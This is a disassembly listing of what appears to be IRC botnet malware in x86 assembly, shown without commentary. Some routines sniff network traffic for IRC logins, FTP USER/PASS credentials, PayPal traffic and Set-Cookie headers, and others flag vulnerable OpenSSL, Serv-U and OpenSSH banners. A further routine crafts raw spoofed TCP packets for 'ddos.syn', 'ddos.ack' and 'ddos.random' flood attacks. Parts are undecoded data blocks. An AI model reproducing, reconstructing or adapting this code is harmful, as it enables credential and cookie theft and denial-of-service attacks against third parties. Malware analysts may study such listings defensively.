		dd 0A3E85000h, 83000097h, 75390CC4h, 562075D8h,	0FD4C858Dh
		dd 75FFFFFFh, 858D50D4h, 0FFFFFF50h, 4CB5FF50h,	0E8FFFFFFh
		dd 0FFFF796Ah, 8D14C483h, 0FFFD4C85h, 95E850FFh, 59000030h
		dd 3C15FF57h, 0FF004CB0h, 0EBE8D075h, 59FFFF92h, 0DED2E856h
		dd 5690022Bh, 56E0458Dh, 8D565650h, 46AF845h, 16850h, 0FF579800h
		dd 4CAF5015h, 0FFF88300h, 15FF6475h, 4CAF38h, 4C858D50h
		dd 68FFFFFDh, 4357C8h, 9720E850h, 0C4830000h, 0D875390Ch
		dd 8D562075h, 0FFFD4C85h, 0D475FFFFh, 50858D50h, 50FFFFFFh
		dd 0FF4CB5FFh, 0E7E8FFFFh, 83FFFF78h, 858D14C4h, 0FFFFFD4Ch
		dd 3012E850h, 57590000h, 0B03C15FFh, 75FF004Ch,	9268E8D0h
		dd 5659FFFFh, 0DE4EE890h, 0BB53022Bh, 434EE0h, 0FFFFBFh
		dd 4C858D00h, 57FFFEFDh, 0C5E85056h, 83000093h,	858D0CC4h
		dd 0FFFEFD4Ch, 0FF505756h, 15FFFC75h, 4CAFBCh, 0FFFF883h
		dd 0FC84h, 55BD8000h, 6FFFEFDh,	858BC675h, 0FFFEFD58h
		dd 0FD6DBD80h, 8918FFFEh, 0B475F445h, 0FD74858Dh, 0BC68FFFEh
		dd 50004357h, 96EBE8h, 0C0855900h, 8D9D7559h, 0FEFD7485h
		dd 57AC68FFh, 0E8500043h, 96D4h, 59C08559h, 0C38B8675h
		dd 0C085FF33h, 0FF7A840Fh, 5D89FFFFh, 858D5008h, 0FFFEFD74h
		dd 96B2E850h, 85590000h, 0F7559C0h, 8458347h, 8458B18h
		dd 55E9E375h, 8DFFFFFFh, 0FEFD7485h, 0B5FF50FFh, 0FFFEFD60h
		dd 0AED415FFh, 0B70F004Ch, 75FF50C0h, 3015FFF4h, 50004CB0h
		dd 8B7F048Dh, 4EF4C504h, 34FF0043h, 434ED085h, 4C858D00h
		dd 68FFFFFDh, 435778h, 20068h, 0D5E85000h, 83000096h, 75391CC4h
		dd 562075D8h, 0FD4C858Dh, 75FFFFFFh, 858D50D4h,	0FFFFFF50h
		dd 4CB5FF50h, 0E8FFFFFFh, 0FFFF77A2h, 8D14C483h, 0FFFD4C85h
		dd 0CDE850FFh, 5900002Eh, 0FFFED3E9h, 3815FFFFh, 50004CAFh
		dd 43574C68h, 4C858D00h, 68FFFFFDh, 200h, 967EE850h, 0C4830000h
		dd 0D8753910h, 5620755Bh, 0FD4C858Dh, 75FFFFFFh, 858D50D4h
		dd 0FFFFFF50h, 4CB5FF50h, 0E8FFFFFFh, 0FFFF774Ah, 8D14C483h
		dd 0FFFD4C85h, 75E850FFh, 5900002Eh, 0FFFC75FFh, 4CB03C15h
		dd 0D075FF00h, 0FF90C9E8h, 905659FFh, 2BDCAFE8h
		db 2

; =============== S U B	R O U T	I N E =======================================



sub_412351	proc near		; CODE XREF: sub_412660+213p
					; sub_412660+239p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_4CDD10, eax
		mov	eax, offset dword_4CDD10
		retn
sub_412351	endp


; =============== S U B	R O U T	I N E =======================================



sub_412360	proc near		; CODE XREF: sub_412660+2BFp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aBotSniff ; "Bot	sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41237A


loc_412376:				; CODE XREF: sub_412360+29j
					; sub_412360+3Aj ...
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41237A:				; CODE XREF: sub_412360+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412376
		push	offset aPsniff_1 ; "[PSNIFF]:"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412376
		push	offset aPsniff_0 ; "PSNIFF//"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412376
		push	offset aJoin_0	; "JOIN	#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4123C2


loc_4123BE:				; CODE XREF: sub_412360+71j
					; sub_412360+82j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4123C2:				; CODE XREF: sub_412360+5Cj
		push	offset a302_0	; "302 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset a366	; "366 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset a_login_0 ; ":.login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset aLogin_0	; ":!login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset aLogin	; ":!Login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset a_login	; ":.Login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset a_ident	; ":.ident"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset aIdent_0	; ":!ident"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4123BE
		push	offset a_hashin	; ":.hashin"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4123BE
		push	offset aHashin	; ":!hashin"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412360	endp


; =============== S U B	R O U T	I N E =======================================



sub_412477	proc near		; CODE XREF: sub_412660+2F8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aIrcSniff ; "IRC	sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412491


loc_41248D:				; CODE XREF: sub_412477+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412491:				; CODE XREF: sub_412477+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41248D
		push	offset aOper_0	; "OPER	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4124B7


loc_4124B3:				; CODE XREF: sub_412477+4Fj
					; sub_412477+60j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4124B7:				; CODE XREF: sub_412477+3Aj
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4124B3
		push	offset aOper	; "oper	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4124B3
		push	offset aYouAreNowAnIrc ; "You are now an IRC Operator"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412477	endp


; =============== S U B	R O U T	I N E =======================================



sub_4124ED	proc near		; CODE XREF: sub_412660+32Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aFtpSniff ; "FTP	sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412507


loc_412503:				; CODE XREF: sub_4124ED+29j
					; sub_4124ED+3Aj
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412507:				; CODE XREF: sub_4124ED+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412503
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412503
		push	offset a220	; "220 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41253E


loc_41253A:				; CODE XREF: sub_4124ED+60j
					; sub_4124ED+71j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41253E:				; CODE XREF: sub_4124ED+4Bj
		push	offset a230	; "230 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41253A
		push	offset aUser_3	; "USER	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41253A
		push	offset aPass_0	; "PASS	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_4124ED	endp


; =============== S U B	R O U T	I N E =======================================



sub_412574	proc near		; CODE XREF: sub_412660+35Fp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aHttpSniff ; "HTTP sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41258E


loc_41258A:				; CODE XREF: sub_412574+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41258E:				; CODE XREF: sub_412574+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41258A
		push	offset aPaypal	; "paypal"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4125B4


loc_4125B0:				; CODE XREF: sub_412574+4Fj
					; sub_412574+60j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4125B4:				; CODE XREF: sub_412574+3Aj
		push	offset aPaypal_0 ; "PAYPAL"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4125B0
		push	offset aPaypal_com_0 ; "PAYPAL.COM"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4125B0
		push	offset aPaypal_com ; "paypal.com"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4125B0
		push	offset aSetCookie ; "Set-Cookie:"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412574	endp


; =============== S U B	R O U T	I N E =======================================



sub_4125FB	proc near		; CODE XREF: sub_412660:loc_412A25p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aVulnSniff ; "VULN sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412615


loc_412611:				; CODE XREF: sub_4125FB+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412615:				; CODE XREF: sub_4125FB+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412611
		push	offset aOpenssl0_9_6 ; "OpenSSL/0.9.6"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41263B


loc_412637:				; CODE XREF: sub_4125FB+4Fj
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41263B:				; CODE XREF: sub_4125FB+3Aj
		push	offset aServUFtpServer ; "Serv-U FTP Server"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412637
		push	offset aOpenssh_2 ; "OpenSSH_2"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_4125FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412660	proc near		; DATA XREF: sub_401ACD+427Co

var_113B8	= byte ptr -113B8h
var_113AF	= byte ptr -113AFh
var_113AC	= dword	ptr -113ACh
var_113A8	= dword	ptr -113A8h
var_113A4	= dword	ptr -113A4h
var_1138C	= byte ptr -1138Ch
var_13B8	= byte ptr -13B8h
var_BB8		= byte ptr -0BB8h
var_3B8		= byte ptr -3B8h
var_3B7		= byte ptr -3B7h
var_2B8		= byte ptr -2B8h
var_B8		= dword	ptr -0B8h
var_B4		= byte ptr -0B4h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 113B8h
		call	sub_41BB20
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	25h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_B8]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		lea	edi, [ebp+var_3B7]
		push	3Fh
		mov	[eax+90h], esi
		pop	ecx
		xor	eax, eax
		mov	[ebp+var_3B8], bl
		push	0FFh
		rep stosd
		stosw
		lea	eax, [ebp+var_3B8]
		mov	[ebp+var_20], 2
		push	eax
		mov	[ebp+var_1E], bx
		mov	[ebp+var_1C], ebx
		call	dword_4CAFB8
		lea	eax, [ebp+var_3B8]
		push	eax
		call	dword_4CB028
		movsx	ecx, word ptr [eax+0Ah]
		mov	eax, [eax+0Ch]
		push	ecx
		push	dword ptr [eax]
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_41C310
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	[ebp+var_1C], eax
		push	ebx
		push	3
		push	2
		call	dword_4CB024
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_10], edi
		jnz	short loc_412706
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_412706:				; CODE XREF: sub_412660+9Bj
		lea	eax, [ebp+var_20]
		push	10h
		push	eax
		push	edi
		call	dword_4CAFD0
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41277C
		call	dword_4CAF38
		push	eax
		lea	eax, [ebp+var_2B8]
		push	offset unk_435AF8
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_412758
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409A72
		add	esp, 14h


loc_412758:				; CODE XREF: sub_412660+D6j
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	edi
		call	dword_4CB03C
		push	[ebp+var_34]
		call	sub_40B412
		pop	ecx
		push	ebx
		nop
		call	near ptr 26D0000h


loc_41277C:				; CODE XREF: sub_412660+B6j
		push	ebx
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		push	98000001h
		push	edi
		mov	[ebp+var_C], esi
		call	dword_4CAF50
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_412802
		call	dword_4CAF38
		push	eax
		lea	eax, [ebp+var_2B8]
		push	offset unk_435AC8
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_4127DE
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409A72
		add	esp, 14h


loc_4127DE:				; CODE XREF: sub_412660+15Cj
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	edi
		call	dword_4CB03C
		push	[ebp+var_34]
		call	sub_40B412
		pop	ecx
		push	ebx
		call	near ptr 26D0000h
		nop


loc_412802:				; CODE XREF: sub_412660+13Cj
		mov	esi, 200h


loc_412807:				; CODE XREF: sub_412660+1D6j
					; sub_412660+1FBj ...
		mov	edi, 0FFFFh
		lea	eax, [ebp+var_113B8]
		push	edi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_113B8]
		push	ebx
		push	edi
		push	eax
		push	[ebp+var_10]
		call	dword_4CAFBC
		cmp	[ebp+var_113AF], 6
		jnz	short loc_412807
		push	[ebp+var_113A4]
		mov	edi, dword_4271E4
		call	edi	; htons
		push	[ebp+var_113A4+2]
		movzx	eax, ax
		mov	[ebp+arg_0], eax
		call	edi	; htons
		cmp	[ebp+arg_0], 6Eh
		movzx	edi, ax
		jz	short loc_412807
		cmp	[ebp+arg_0], 19h
		jz	short loc_412807
		cmp	edi, 6Eh
		jz	short loc_412807
		cmp	edi, 19h
		jz	short loc_412807
		push	[ebp+var_113AC]
		call	sub_412351
		pop	ecx
		push	dword ptr [eax]
		nop
		call	near ptr 71AB401Ch
		push	eax
		lea	eax, [ebp+var_13B8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		push	[ebp+var_113A8]
		call	sub_412351
		add	esp, 10h
		push	dword ptr [eax]
		nop
		call	near ptr 71AB401Ch
		push	eax
		lea	eax, [ebp+var_BB8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1138C]
		mov	[ebp+var_4], ebx
		push	eax
		call	sub_41AFE0
		add	esp, 10h
		test	eax, eax
		jle	short loc_412905


loc_4128D1:				; CODE XREF: sub_412660+2A3j
		mov	eax, [ebp+var_4]
		cmp	[ebp+eax+var_1138C], 0Dh
		lea	eax, [ebp+eax+var_1138C]
		jnz	short loc_4128E8
		mov	byte ptr [eax],	20h


loc_4128E8:				; CODE XREF: sub_412660+283j
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_4128F0
		mov	byte ptr [eax],	20h


loc_4128F0:				; CODE XREF: sub_412660+28Bj
		inc	[ebp+var_4]
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_41AFE0
		cmp	[ebp+var_4], eax
		pop	ecx
		jl	short loc_4128D1


loc_412905:				; CODE XREF: sub_412660+26Fj
		cmp	[ebp+arg_0], 50h
		jz	loc_4129B8
		cmp	edi, 50h
		jz	loc_4129B8
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_412360
		test	al, al
		pop	ecx
		jz	short loc_41294C
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_435A94
		jmp	loc_4129E7
; ---------------------------------------------------------------------------


loc_41294C:				; CODE XREF: sub_412660+2C7j
		cmp	edi, 50h
		jz	short loc_4129B8
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_412477
		test	al, al
		pop	ecx
		jz	short loc_412982
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_435A60
		jmp	short loc_4129E7
; ---------------------------------------------------------------------------


loc_412982:				; CODE XREF: sub_412660+300j
		cmp	edi, 50h
		jz	short loc_4129B8
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_4124ED
		test	al, al
		pop	ecx
		jz	short loc_4129B8
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_435A2C
		jmp	short loc_4129E7
; ---------------------------------------------------------------------------


loc_4129B8:				; CODE XREF: sub_412660+2A9j
					; sub_412660+2B2j ...
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_412574
		test	al, al
		pop	ecx
		lea	eax, [ebp+var_1138C]
		push	eax
		jz	short loc_412A25
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		lea	eax, [ebp+var_13B8]
		push	[ebp+arg_0]
		push	eax
		push	offset unk_4359F4


loc_4129E7:				; CODE XREF: sub_412660+2E7j
					; sub_412660+320j ...
		lea	eax, [ebp+var_2B8]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 20h
		cmp	[ebp+var_2C], ebx
		jnz	loc_412807
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409A72
		add	esp, 14h
		jmp	loc_412807
; ---------------------------------------------------------------------------


loc_412A25:				; CODE XREF: sub_412660+36Ej
		call	sub_4125FB
		test	al, al
		pop	ecx
		jz	loc_412807
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_4359BC
		jmp	short loc_4129E7
sub_412660	endp

; ---------------------------------------------------------------------------
byte_412A53	db 55h			; DATA XREF: sub_401ACD+6542o
		dd 0EC81EC8Bh, 494h, 5608458Bh,	0A5B957h, 0F08B0000h, 0FD6CBD8Dh
		dd 0A5F3FFFFh, 29080C7h, 10000h, 0E8900000h, 226E2D2h
		dd 8E52E850h, 858D0000h, 0FFFFFE74h, 74858D50h,	50FFFFFFh
		dd 0FDF4858Dh, 8D50FFFFh, 0FFFD7485h, 98E850FFh, 83000003h
		dd 8D5014C4h, 0FFFB6C85h, 5B2468FFh, 0E8500043h, 8DCAh
		dd 0C483F633h, 0F875390Ch, 8D562075h, 0FFFB6C85h, 0F475FFFFh
		dd 0F4858D50h, 50FFFFFEh, 0FD6CB5FFh, 8FE8FFFFh, 83FFFF6Fh
		dd 858D14C4h, 0FFFFFB6Ch, 26BAE850h, 0B5FF0000h, 0FFFFFD70h
		dd 0FF8915E8h, 565959FFh, 2BD4FBE8h, 5E5F9002h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412B08	proc near		; CODE XREF: ___:00412E7Fp

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= word ptr -58h
var_56		= word ptr -56h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_412B48
		xor	eax, eax
		jmp	loc_412E3B
; ---------------------------------------------------------------------------


loc_412B48:				; CODE XREF: sub_412B08+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4CB048
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_20], eax
		jz	loc_412E33
		push	esi
		lea	ecx, [ebp+var_40]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_40], edi
		call	dword_4CAF84
		cmp	eax, 0FFFFFFFFh
		jz	loc_412E29
		push	[ebp+arg_C]
		mov	[ebp+var_58], 2
		call	dword_4CAFA4
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_56], ax
		mov	[ebp+var_54], esi
		mov	[ebp+var_34], 45h
		call	dword_4CAFA4
		push	[ebp+arg_C]
		mov	[ebp+var_32], ax
		mov	[ebp+var_30], di
		mov	[ebp+var_2E], bx
		mov	[ebp+var_2C], 80h
		mov	[ebp+var_2B], 6
		mov	[ebp+var_2A], bx
		mov	[ebp+var_24], esi
		call	dword_4CAFA4
		mov	[ebp+var_12], ax
		call	sub_41B8E2
		movzx	eax, ax
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_4CAFA4
		push	12345678h
		mov	[ebp+var_14], ax
		call	dword_4CAFA0
		push	offset aDdos_syn ; "ddos.syn"
		mov	[ebp+var_10], eax
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C18
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 2
		jmp	short loc_412C6C
; ---------------------------------------------------------------------------


loc_412C18:				; CODE XREF: sub_412B08+105j
		push	offset aDdos_ack ; "ddos.ack"
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C34
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 10h
		jmp	short loc_412C6C
; ---------------------------------------------------------------------------


loc_412C34:				; CODE XREF: sub_412B08+121j
		push	offset aDdos_random ; "ddos.random"
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C6C
		call	sub_41B8E2
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_C], edx
		call	sub_41B8E2
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_7], dl


loc_412C6C:				; CODE XREF: sub_412B08+10Ej
					; sub_412B08+12Aj ...
		push	4000h
		mov	[ebp+var_8], 50h
		call	dword_4CAFA4
		mov	[ebp+var_6], ax
		lea	eax, [ebp+var_48]
		push	eax
		mov	[ebp+var_2], bx
		mov	[ebp+arg_8], ebx
		call	near ptr 2780339h
		nop
		lea	eax, [ebp+var_1C]
		push	eax
		nop
		call	near ptr 2780000h
		push	[ebp+var_44]
		mov	eax, [ebp+arg_10]
		cdq
		push	[ebp+var_48]
		push	edx
		push	eax
		call	sub_41D280
		add	eax, [ebp+var_1C]
		push	14h
		pop	esi
		adc	edx, [ebp+var_18]
		mov	[ebp+var_3C], eax
		mov	[ebp+var_38], edx


loc_412CBA:				; CODE XREF: sub_412B08+2E2j
					; sub_412B08+2F0j
		mov	[ebp+var_4], bx
		call	sub_41B8E2
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4CAFA4
		mov	[ebp+var_14], ax
		call	sub_41B8E2
		mov	edi, eax
		shl	edi, 10h
		call	sub_41B8E2
		or	edi, eax
		push	edi
		call	dword_4CAFA4
		movzx	eax, ax
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4CAFA0
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_24]
		push	esi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4CAFA4
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_28]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AC68
		mov	[ebp+var_4], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C310
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AC68
		mov	[ebp+var_2A], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		add	esp, 14h
		lea	eax, [ebp+var_58]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_20]
		call	dword_4CB008
		cmp	eax, 0FFFFFFFFh
		jz	short loc_412DFD
		add	[ebp+arg_8], eax
